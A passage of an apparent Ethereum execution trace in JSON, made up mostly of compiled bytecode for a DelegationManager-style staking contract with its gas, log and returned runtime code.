600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316638c80d4e588868481518110612c4057612c406152db565b6020026020010151868581518110612c5a57612c5a6152db565b60200260200101516040518463ffffffff1660e01b8152600401612c8093929190615779565b600060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050505b600101612912565b506001600160a01b0386166000908152609f60205260408120805491829190612ce38361579d565b919050555060006040518060e00160405280896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018381526020014363ffffffff1681526020018681526020018581525090506000612d4b82611626565b6000818152609e602052604090819020805460ff19166001179055519091507f9009ab153e8014fbfb02f2217f5cde7aa7f9ad734ae85ca3ee3f4ca2fdd499f990612d9990839085906157b6565b60405180910390a198975050505050505050565b6213c680612dc160608301604084016157cf565b63ffffffff161115612e765760405162461bcd60e51b815260206004820152606c60248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527f63616e6e6f74206265203e204d41585f5354414b45525f4f50545f4f55545f5760848201526b494e444f575f424c4f434b5360a01b60a482015260c401610ab5565b6001600160a01b0382166000908152609960205260409081902060010154600160a01b900463ffffffff1690612eb290606084019084016157cf565b63ffffffff161015612f485760405162461bcd60e51b815260206004820152605360248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527218d85b9b9bdd08189948191958dc99585cd959606a1b608482015260a401610ab5565b6001600160a01b03821660009081526099602052604090208190612f6c828261580c565b505060405133907ffebe5cd24b2cbc7b065b9d0fdeb904461e4afcff57dd57acda1e7832031ba7ac90611af9908490615391565b606654600090600190811603612fc85760405162461bcd60e51b8152600401610ab5906152f1565b6001600160a01b03808516600090815260996020526040902060010154168015801590612ffe5750336001600160a01b03821614155b80156130135750336001600160a01b03861614155b156131805742846020015110156130925760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f766572207369676e617475726520657870697265640000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845290915290205460ff161561312c5760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f76657253616c7420616c7265616479207370656e740000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845282528220805460ff1916600117905585015161316d9088908890859088906109c8565b905061317e82828760000151614152565b505b6001600160a01b038681166000818152609a602052604080822080546001600160a01b031916948a169485179055517fc3ee9f2e5fda98e8066a1f745b2df9285f416fe98cf2559cd21484b3d87433049190a36000806131df88611bbe565b9150915060005b82518110156113515761322d888a858481518110613206576132066152db565b6020026020010151858581518110613220576132206152db565b60200260200101516138ee565b6001016131e6565b6001600160a01b0381166132c35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610ab5565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613363908490615766565b92505081905550836001600160a01b03167f6909600037b75d7b4733aedd815442b5ec018a827751c832aaff64eba5d6d2dd848484604051610f1f93929190615779565b6033546001600160a01b031633146117335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab5565b8281146134895760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a20696e707574206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a401610ab5565b8260005b818110156136195760008686838181106134a9576134a96152db565b90506020020160208101906134be919061499b565b6001600160a01b038116600090815260a160205260408120549192508686858181106134ec576134ec6152db565b90506020020135905062034bc08111156135b05760405162461bcd60e51b815260206004820152607360248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a205f7769746864726177616c60648201527f44656c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544860848201527244524157414c5f44454c41595f424c4f434b5360681b60a482015260c401610ab5565b6001600160a01b038316600081815260a160209081526040918290208490558151928352820184905281018290527f0e7efa738e8b0ce6376a0c1af471655540d2e9a81647d7b09ed823018426576d9060600160405180910390a150505080600101905061348d565b505050505050565b6065546001600160a01b031615801561364257506001600160a01b03821615155b6136c45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261370782613235565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62034bc08111156138ad5760405162461bcd60e51b815260206004820152607160248201527f44656c65676174696f6e4d616e616765722e5f7365744d696e5769746864726160448201527f77616c44656c6179426c6f636b733a205f6d696e5769746864726177616c446560648201527f6c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544844526084820152704157414c5f44454c41595f424c4f434b5360781b60a482015260c401610ab5565b609d5460408051918252602082018390527fafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69910160405180910390a1609d55565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613925908490615753565b92505081905550836001600160a01b03167f1ec042c965e2edd7107b51188ee0f383e22e76179041ab3a9d18ff151405166c848484604051610f1f93929190615779565b60006139776105f38761586f565b6000818152609e602052604090205490915060ff166139f85760405162461bcd60e51b8152602060048201526043602482015260008051602061599983398151915260448201527f645769746864726177616c3a20616374696f6e206973206e6f7420696e20717560648201526265756560e81b608482015260a401610ab5565b609d544390613a0d60a0890160808a016157cf565b63ffffffff16613a1d9190615753565b1115613aa55760405162461bcd60e51b815260206004820152605f602482015260008051602061599983398151915260448201527f645769746864726177616c3a206d696e5769746864726177616c44656c61794260648201527f6c6f636b7320706572696f6420686173206e6f74207965742070617373656400608482015260a401610ab5565b613ab5606087016040880161499b565b6001600160a01b0316336001600160a01b031614613b425760405162461bcd60e51b8152602060048201526050602482015260008051602061599983398151915260448201527f645769746864726177616c3a206f6e6c7920776974686472617765722063616e60648201526f1031b7b6b83632ba329030b1ba34b7b760811b608482015260a401610ab5565b8115613bc457613b5560a0870187615348565b85149050613bc45760405162461bcd60e51b8152602060048201526042602482015260008051602061599983398151915260448201527f645769746864726177616c3a20696e707574206c656e677468206d69736d61746064820152610c6d60f31b608482015260a401610ab5565b6000818152609e60205260409020805460ff191690558115613d295760005b613bf060a0880188615348565b9050811015613d23574360a16000613c0b60a08b018b615348565b85818110613c1b57613c1b6152db565b9050602002016020810190613c30919061499b565b6001600160a01b03168152602081019190915260400160002054613c5a60a08a0160808b016157cf565b63ffffffff16613c6a9190615753565b1115613c885760405162461bcd60e51b8152600401610ab59061587b565b613d1b613c98602089018961499b565b33613ca660a08b018b615348565b85818110613cb657613cb66152db565b9050602002016020810190613ccb919061499b565b613cd860c08c018c615348565b86818110613ce857613ce86152db565b905060200201358a8a87818110613d0157613d016152db565b9050602002016020810190613d16919061499b565b61430c565b600101613be3565b50614117565b336000908152609a60205260408120546001600160a01b0316905b613d5160a0890189615348565b9050811015614114574360a16000613d6c60a08c018c615348565b85818110613d7c57613d7c6152db565b9050602002016020810190613d91919061499b565b6001600160a01b03168152602081019190915260400160002054613dbb60a08b0160808c016157cf565b63ffffffff16613dcb9190615753565b1115613de95760405162461bcd60e51b8152600401610ab59061587b565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0613e0b60a08a018a615348565b83818110613e1b57613e1b6152db565b9050602002016020810190613e30919061499b565b6001600160a01b031603613f7f576000613e4d60208a018a61499b565b905060006001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616630e81073c83613e8e60c08e018e615348565b87818110613e9e57613e9e6152db565b6040516001600160e01b031960e087901b1681526001600160a01b03909416600485015260200291909101356024830152506044016020604051808303816000875af1158015613ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f169190615605565b6001600160a01b038084166000908152609a6020526040902054919250168015613f7757613f778184613f4c60a08f018f615348565b88818110613f5c57613f5c6152db565b9050602002016020810190613f71919061499b565b856138ee565b50505061410c565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b031663c4623ea133898985818110613fc157613fc16152db565b9050602002016020810190613fd6919061499b565b613fe360a08d018d615348565b86818110613ff357613ff36152db565b9050602002016020810190614008919061499b565b61401560c08e018e615348565b87818110614025576140256152db565b60405160e088901b6001600160e01b03191681526001600160a01b03968716600482015294861660248601529290941660448401526020909102013560648201526084019050600060405180830381600087803b15801561408557600080fd5b505af1158015614099573d6000803e3d6000fd5b505050506001600160a01b0382161561410c5761410c82336140be60a08c018c615348565b858181106140ce576140ce6152db565b90506020020160208101906140e3919061499b565b6140f060c08d018d615348565b86818110614100576141006152db565b905060200201356138ee565b600101613d44565b50505b6040518181527fc97098c2f658800b4df29001527f7324bcdffcf6e8751a699ab920a1eced5b1d9060200160405180910390a1505050505050565b6001600160a01b0383163b1561426c57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e906141929086908690600401615903565b602060405180830381865afa1580156141af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141d39190615958565b6001600160e01b031916146110925760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610ab5565b826001600160a01b0316614280838361444c565b6001600160a01b0316146110925760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610ab5565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeabf196001600160a01b038416016143b75760405162387b1360e81b81526001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063387b13009061438090889088908790600401615779565b600060405180830381600087803b15801561439a57600080fd5b505af11580156143ae573d6000803e3d6000fd5b50505050614445565b60405163c608c7f360e01b81526001600160a01b03858116600483015284811660248301526044820184905282811660648301527f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9169063c608c7f390608401600060405180830381600087803b15801561443157600080fd5b505af1158015611351573d6000803e3d6000fd5b5050505050565b600080600061445b8585614468565b915091506109be816144d6565b600080825160410361449e5760208301516040840151606085015160001a6144928782858561468c565b945094505050506144cf565b82516040036144c757602083015160408401516144bc868383614779565b9350935050506144cf565b506000905060025b9250929050565b60008160048111156144ea576144ea615982565b036144f25750565b600181600481111561450657614506615982565b036145535760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610ab5565b600281600481111561456757614567615982565b036145b45760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610ab5565b60038160048111156145c8576145c8615982565b036146205760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610ab5565b600481600481111561463457614634615982565b03610fdd5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610ab5565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156146c35750600090506003614770565b8460ff16601b141580156146db57508460ff16601c14155b156146ec5750600090506004614770565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614740573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661476957600060019250925050614770565b9150600090505b94509492505050565b6000806001600160ff1b0383168161479660ff86901c601b615753565b90506147a48782888561468c565b935093505050935093915050565b60008083601f8401126147c457600080fd5b5081356001600160401b038111156147db57600080fd5b6020830191508360208260051b85010111156144cf57600080fd5b6000806020838503121561480957600080fd5b82356001600160401b0381111561481f57600080fd5b61482b858286016147b2565b90969095509350505050565b6001600160a01b0381168114610fdd57600080fd5b803561485781614837565b919050565b600080600080600060a0868803121561487457600080fd5b853561487f81614837565b9450602086013561488f81614837565b9350604086013561489f81614837565b94979396509394606081013594506080013592915050565b602080825282518282018190526000918401906040840190835b81811015610ddd5783518352602093840193909201916001016148d1565b60006060828403121561490157600080fd5b50919050565b60008083601f84011261491957600080fd5b5081356001600160401b0381111561493057600080fd5b6020830191508360208285010111156144cf57600080fd5b60008060006080848603121561495d57600080fd5b61496785856148ef565b925060608401356001600160401b0381111561498257600080fd5b61498e86828701614907565b9497909650939450505050565b6000602082840312156149ad57600080fd5b81356149b881614837565b9392505050565b6000806000606084860312156149d457600080fd5b83356149df81614837565b925060208401356149ef81614837565b929592945050506040919091013590565b600060208284031215614a1257600080fd5b5035919050565b60008060008060408587031215614a2f57600080fd5b84356001600160401b03811115614a4557600080fd5b614a51878288016147b2565b90955093505060208501356001600160401b03811115614a7057600080fd5b614a7c878288016147b2565b95989497509550505050565b60008060008060008060008060c0898b031215614aa457600080fd5b8835614aaf81614837565b97506020890135614abf81614837565b9650604089013595506060890135945060808901356001600160401b03811115614ae857600080fd5b614af48b828c016147b2565b90955093505060a08901356001600160401b03811115614b1357600080fd5b614b1f8b828c016147b2565b999c989b5096995094979396929594505050565b6000806000806000806000806080898b031215614b4f57600080fd5b88356001600160401b03811115614b6557600080fd5b614b718b828c016147b2565b90995097505060208901356001600160401b03811115614b9057600080fd5b614b9c8b828c016147b2565b90975095505060408901356001600160401b03811115614bbb57600080fd5b614bc78b828c016147b2565b90955093505060608901356001600160401b03811115614b1357600080fd5b634e487b7160e01b600052604160045260246000fd5b60405160e081016001600160401b0381118282101715614c1e57614c1e614be6565b60405290565b604080519081016001600160401b0381118282101715614c1e57614c1e614be6565b604051601f8201601f191681016001600160401b0381118282101715614c6e57614c6e614be6565b604052919050565b63ffffffff81168114610fdd57600080fd5b803561485781614c76565b60006001600160401b03821115614cac57614cac614be6565b5060051b60200190565b600082601f830112614cc757600080fd5b8135614cda614cd582614c93565b614c46565b8082825260208201915060208360051b860101925085831115614cfc57600080fd5b602085015b83811015614d22578035614d1481614837565b835260209283019201614d01565b5095945050505050565b600082601f830112614d3d57600080fd5b8135614d4b614cd582614c93565b8082825260208201915060208360051b860101925085831115614d6d57600080fd5b602085015b83811015614d22578035835260209283019201614d72565b600060e08284031215614d9c57600080fd5b614da4614bfc565b9050614daf8261484c565b8152614dbd6020830161484c565b6020820152614dce6040830161484c565b604082015260608281013590820152614de960808301614c88565b608082015260a08201356001600160401b03811115614e0757600080fd5b614e1384828501614cb6565b60a08301525060c08201356001600160401b03811115614e3257600080fd5b614e3e84828501614d2c565b60c08301525092915050565b600060208284031215614e5c57600080fd5b81356001600160401b03811115614e7257600080fd5b614e7e84828501614d8a565b949350505050565b600060208284031215614e9857600080fd5b813560ff811681146149b857600080fd5b8015158114610fdd57600080fd5b600080600080600060808688031215614ecf57600080fd5b85356001600160401b03811115614ee557600080fd5b860160e08189031215614ef757600080fd5b945060208601356001600160401b03811115614f1257600080fd5b614f1e888289016147b2565b909550935050604086013591506060860135614f3981614ea9565b809150509295509295909350565b60008060408385031215614f5a57600080fd5b8235614f6581614837565b91506020830135614f7581614837565b809150509250929050565b600060408284031215614f9257600080fd5b614f9a614c24565b905081356001600160401b03811115614fb257600080fd5b8201601f81018413614fc357600080fd5b80356001600160401b03811115614fdc57614fdc614be6565b614fef601f8201601f1916602001614c46565b81815285602083850101111561500457600080fd5b81602084016020830137600060209282018301528352928301359282019290925292915050565b600080600080600060a0868803121561504357600080fd5b853561504e81614837565b9450602086013561505e81614837565b935060408601356001600160401b0381111561507957600080fd5b61508588828901614f80565b93505060608601356001600160401b038111156150a157600080fd5b6150ad88828901614f80565b95989497509295608001359392505050565b600080604083850312156150d257600080fd5b82356150dd81614837565b915060208301356001600160401b038111156150f857600080fd5b61510485828601614cb6565b9150509250929050565b600081518084526020840193506020830160005b82811015615140578151865260209586019590910190600101615122565b5093949350505050565b6020815260006149b8602083018461510e565b6000806020838503121561517057600080fd5b82356001600160401b0381111561518657600080fd5b61482b85828601614907565b600080604083850312156151a557600080fd5b82356151b081614837565b946020939093013593505050565b600080600080608085870312156151d457600080fd5b84356151df81614837565b93506020850135925060408501356151f681614837565b9396929550929360600135925050565b600081518084526020840193506020830160005b828110156151405781516001600160a01b031686526020958601959091019060010161521a565b6040815260006152546040830185615206565b828103602084015261120f818561510e565b60008060006060848603121561527b57600080fd5b833561528681614837565b925060208401356001600160401b038111156152a157600080fd5b6152ad86828701614f80565b93969395505050506040919091013590565b6000606082840312156152d157600080fd5b6149b883836148ef565b634e487b7160e01b600052603260045260246000fd5b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b60008235605e1983360301811261533e57600080fd5b9190910192915050565b6000808335601e1984360301811261535f57600080fd5b8301803591506001600160401b0382111561537957600080fd5b6020019150600581901b36038213156144cf57600080fd5b6060810182356153a081614837565b6001600160a01b0316825260208301356153b981614837565b6001600160a01b0316602083015260408301356153d581614c76565b63ffffffff811660408401525092915050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b60006020828403121561542957600080fd5b81516149b881614837565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60208082526037908201527f44656c65676174696f6e4d616e616765723a206f6e6c7953747261746567794d60408201527f616e616765724f72456967656e506f644d616e61676572000000000000000000606082015260800190565b6000602082840312156154ed57600080fd5b81516149b881614ea9565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000823560de1983360301811261533e57600080fd5b60006020828403121561556857600080fd5b81356149b881614ea9565b80516001600160a01b03908116835260208083015182169084015260408083015190911690830152606080820151908301526080808201516000916155bf9085018263ffffffff169052565b5060a082015160e060a08501526155d960e0850182615206565b905060c083015184820360c086015261120f828261510e565b6020815260006149b86020830184615573565b60006020828403121561561757600080fd5b5051919050565b600082601f83011261562f57600080fd5b815161563d614cd582614c93565b8082825260208201915060208360051b86010192508583111561565f57600080fd5b602085015b83811015614d22578051835260209283019201615664565b6000806040838503121561568f57600080fd5b82516001600160401b038111156156a557600080fd5b8301601f810185136156b657600080fd5b80516156c4614cd582614c93565b8082825260208201915060208360051b8501019250878311156156e657600080fd5b6020840193505b8284101561571157835161570081614837565b8252602093840193909101906156ed565b8095505050505060208301516001600160401b0381111561573157600080fd5b6151048582860161561e565b634e487b7160e01b600052601160045260246000fd5b808201808211156109c2576109c261573d565b818103818111156109c2576109c261573d565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000600182016157af576157af61573d565b5060010190565b828152604060208201526000614e7e6040830184615573565b6000602082840312156157e157600080fd5b81356149b881614c76565b80546001600160a01b0319166001600160a01b0392909216919091179055565b813561581781614837565b61582181836157ec565b5060018101602083013561583481614837565b61583e81836157ec565b50604083013561584d81614c76565b815463ffffffff60a01b191660a09190911b63ffffffff60a01b161790555050565b60006109c23683614d8a565b6020808252606e9082015260008051602061599983398151915260408201527f645769746864726177616c3a207769746864726177616c44656c6179426c6f6360608201527f6b7320706572696f6420686173206e6f74207965742070617373656420666f7260808201526d207468697320737472617465677960901b60a082015260c00190565b828152604060208201526000825180604084015260005b81811015615937576020818601810151606086840101520161591a565b506000606082850101526060601f19601f8301168401019150509392505050565b60006020828403121561596a57600080fd5b81516001600160e01b0319811681146149b857600080fd5b634e487b7160e01b600052602160045260246000fdfe44656c65676174696f6e4d616e616765722e5f636f6d706c6574655175657565a2646970667358221220d8f8a7ae09f40353d16d290ba75d56306b46ad94ae3137a6fa1888bdf0b3380664736f6c634300081c0033","gas_used":4634013,"gas_limit":6148339,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916148061103f5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b